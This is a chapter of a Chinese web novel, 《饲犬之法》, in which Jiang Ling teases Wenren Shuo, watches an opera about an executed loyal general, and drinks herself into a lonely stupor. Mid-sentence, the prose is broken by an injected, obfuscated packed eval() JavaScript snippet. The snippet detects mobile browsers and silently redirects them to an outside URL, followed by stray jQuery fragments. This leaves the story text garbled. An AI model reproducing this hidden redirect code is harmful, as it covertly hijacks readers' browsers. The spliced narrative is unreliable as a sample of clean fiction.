38. 第 38 章

作品:《饲犬之法

    姜令心想:但她本就打算去的。现在好了,到底还去不去?


    她怕在戏楼撞上应思存,那可不太妙。


    但沉思片刻,转头,又看见一张可怜的脸蛋。


    他仍蹙着眉,眼尾泛起薄薄的红,鼻头微皱,酸涩得似一颗将熟未熟的青皮柑。


    估计又在闹一些无中生有的脾气。


    果然,他抱怨道:“他是什么意思?故意排挤我?想让你抛下我一个人去听戏?”


    姜令淡淡看了一眼,即侧过头,不甚在意地说:“走吧。不是去听戏?”


    姑且别在大庭广众之下闹起来。在这种地方,侍者和应思存都极有可能去而复返,并非合适的谈话场所。


    ……关上门什么都好说。


    她惯常是不解释自己的冷淡的,毕竟她已经习惯于先斩后奏的处世方法,估摸是改不了,也不打算改。但这回,不得不说,姜令心知肚明,自己就是故意的。


    故意无视这副我见犹怜的脆弱神态,以至于上到马车里时,旁边的人一副马上就要哭出来的样子,咬着唇偷偷看她。


    姜令终于感到一阵熟悉的神清气爽。


    她做出一副迟疑的神情,问道:“怎么了?”


    闻人朔看起来颇为怨念,像要跳起来挠她两爪子,但最终,他只是轻轻地搂住她的腰,慢慢收紧,再慢慢放松。


    抱怨道:“你总是这样……”


    姜令顺了顺他的头发,“嗯”一声,并没有回答,反而问:“你招惹应思存干什么?”


    又为个外人问起他。闻人朔并指一拢,趁姜令不注意,截了她一缕发,权作泄愤。


    散落的头发顺势落在掌间,他收拢起来,半支起身,闲闲道:“我当他喜欢这样呢。不然怎么总这副神情对我?”


    姜令微微挑眉:“原来不是生我的气。”然后故意要把事情搞砸。


    “我怎么会生你的气。”闻人朔眨了下眼睛,微笑道,“我从来脾气好得很。”


    “那很好。”姜令没忍住笑起来,片刻后,她淡然道,“既然你没有意见,今晚也像昨晚那样,分开睡吧。”


    “……”闻人朔垂眸,他略抿唇,眼睫纤而跃动,看似即将泫然泪下,“明明……你昨天都应承了,怎么能半途食言?”


    姜令说:“我只是觉得,你应当独立一点。”


    不要每天都像粘鼠板一样。


    “别敷衍我……你就是生气了。”闻人朔说,他的指腹温热而柔软,在姜令手臂上挠动,“可我还没有准备好,你原谅我吧,可怜我也好,我还要一段时间,才能说服我自己,以真面目对你……”


    真跟说梦话一样,梦到哪句说哪句。


    姜令拍了拍他的手,安慰道:“我怎么会生你的气。”又微笑,“我从来脾气好得很。”


    闻人朔将脸半搭在她肩头,闷闷地说:“……学我说话。”


    姜令道:“这可是我的真心话。”


    闻人朔抱紧她:“那你现在回头。”


    气息喷洒在耳边,姜令依言回头,鼻尖一热,还没反应过来,那温热就落到唇瓣上,含吮片刻,便放开了。


    姜令抿了抿唇,看了闻人朔一眼,心想:这算一种热暴力吗……再这样下去,唇珠就要死掉了吧。


    想想还真对不起自己的嘴巴,为了进食以外的不必要行动牺牲太多。


    见他已然自在怡然地把玩她的头发,姜令便道:“既然明白我的苦心,今晚不要偷偷溜进来。”


    “我才不会那么做呢。”闻人朔头也不抬地说。


    “今天早上你亲我的时候,我醒着哦。”姜令道。


    “……下次不会了。”闻人朔耳根发烫,有被抓包后的羞耻,“对不起。原谅我吧,妙真……”


    所以还真的有啊……姜令微微阖眼:“下不为例。”


    “我会注意的。”闻人朔道。下次不能让她发现了。


    -


    戏楼就在文华楼附近,四四方方的一栋筑物,一层一层旋上去,统共三层,各有各的雕梁画栋。


    里面掏一个大圆空,就是登台的地儿。


    今日有名角儿登台,戏楼挤满了人,虽不至于喧哗,但确实有点闹耳朵,姜令坐在三楼,依然能听见底下的声响。


    “有些吵。”姜令倒了一杯酒,“底下的人在说什么?”


    靖王府请戏班子来府里唱,底下总不会这么吵,吵得她看戏的心思都跑了。


    “芳君。”闻人朔答道,“他们说,芳君来了。”


    话音刚落,就听见底下传来打通的声音,“咚咚”一阵锣鼓声后,底下静了。接着,嗓子一亮,姜令就知道:芳君来了。


    人如其名,一张口,便如满庭芳。


    这一场唱的《斩苏童》,姜令是没有听过的,甚至是来到了,才知道它的故事梗概。


    大抵是讲王朝交替之际,苏童作为前朝将领,拒不投降,最后被斩杀的故事,所宣扬的无非是忠义二字。


    今天唱的,正好是苏童受斩的一折。一人扮皇帝,芳君扮苏童。


    姜令来看这戏,倒不是因为喜欢这情节——笑话,大哥很快就是这两个角儿中的一个了,能喜欢什么?


    皇帝带着一溜人,“啪”一下把苏童斩了,她心里不痛快;苏童把那一溜人和皇帝臭骂一顿,“啪”一下归西了,她心里也不痛快。


    这不仅让她想起大哥,更让她想起长乐、段礼英等人。到时候,无论大哥事成与否,他们这些曾经的朋友之间,都会有不可弥合的裂缝。


    她本是为了打发时间来的,如今却有些笑不出来。


    她心道:这戏不好。


    却知道这不是戏的问题,是她的心境有了差错。


    一郁闷起来,她就开始喝酒。喝酒多了,也郁闷。姜令转头看旁边的闻人朔,他倒是看得津津有味。


    秉持着我郁闷,别人也别想快乐的霸道心态,姜令盯了一会,有了个鬼主意。


    她伸过手,鬼祟地倒了他的茶,换了酒来。


    闻人朔不曾转头来看,过了一会儿,便举杯要饮。


    本以为只能骗他喝得一口,没想到他一口饮尽了。叫姜令疑心自己倒错了。


    过了一会儿,姜令再去探他的茶杯,已经空得一滴不剩了。她再斟了一杯酒。


    还是一样饮尽了。


    姜令又斟了一杯,他也喝了。


    再斟,再喝。


    就这样一来一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282658|197016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    往,我一杯,你一杯的,二人将一壶酒喝了个精光。


    姜令招来跑堂:“再来一壶。”


    闻人朔看她一眼,轻声道:“喝太多了。”


    姜令充耳不闻,只是催促跑堂:“快去。”然后对闻人朔说,“你想多了,我还没有喝醉过。”


    根据长乐的说辞,她醉了也只是话多一点,不发酒疯,和没醉其实没有区别。


    这也不算喝醉。


    跑堂下去,很快又上了一壶酒,一言不发地走了。


    闻人朔没再看戏了,他见姜令还要喝,便伸手摁住了酒盏:“这酒烈,再喝要醉。”


    姜令倒没觉出来,她看闻人朔脸上腾起酒晕,认为是他太不能喝了。


    他脸上淡淡地透出来一层粉,眼瞳泛着水意,叫人一眼看过去,便知他醉了。


    “哦。”她感觉有些飘忽,但好像不是醉,而是一种精神上的坦荡,“再喝一杯。”


    她有些醉了,闻人朔想。他伸手拿走了酒瓶,想了想,背过身,将它放到一旁的边柜上去了。


    再回头,却看见姜令端着杯子,又喝了一杯。


    她的杯子里,哪还有酒?


    闻人朔低下头,发觉自己的杯子不见了。再抬头,果不其然,对面多了一个杯子。


    他瞠目结舌,难得有些脸红:“你……”


    姜令心说,我什么,我什么,倒是赶紧说。


    一句话的事儿,整得跟圣旨一样,先头还要跪上个几盏茶才能听。


    等着等着,眼皮好像被黏住了一样沉。姜令的思绪像一只迷茫的船,在大海里浮沉,怎么也靠不了岸。


    索性便停在一处,不动弹了。


    她慢慢闭上眼睛,定定地坐在那里。


    那双明亮的杏眼阖起,纤长的睫毛覆在眼下,唇抿着,唇珠微微凸起,脸颊红润,看上去很像是睡着了。


    闻人朔叹了口气:“酒鬼。”


    过去一年,也总是喝醉了偷偷溜回来,不敢叫赵意宁知道,便回昭国坊捉弄他。


    每一次都很闹腾。


    果然,过了一会儿,姜令睁开眼,举起那茶杯,手臂一伸,振振有词地冲他说:“飞光飞光,劝尔一杯酒!”


    似乎是知道自己还在戏楼里,顾忌着影响,她的声音不大,但又恰好能让闻人朔听到。


    他试探着从她手里取下那茶杯,失败了,她攥得很紧。


    闻人朔再取,这次成功了。手上的茶杯消失,姜令缩了手臂,抱回自己身上,又不说话了。


    戏楼是不能待了。


    “妙真,妙真。”闻人朔轻声说,“先回去,好不好?”


    姜令觉得他真吵。


    此时此刻,似乎有一种莫名的物质环绕着大脑,让她只想一个人静静待着,于是她说:“你好吵。”


    旁边许久都没有传来说话声。


    姜令由此获得了一场寂静,但好像也没有为此感到高兴,她想:为什么又不说话了?


    这里是不是只有她自己?


    这样的话,又只剩下她一个人了。


    是啊,他们都在另一个世界,这里本来就只剩下她一个人,一只孤魂野鬼,游荡着,找不到回家的路。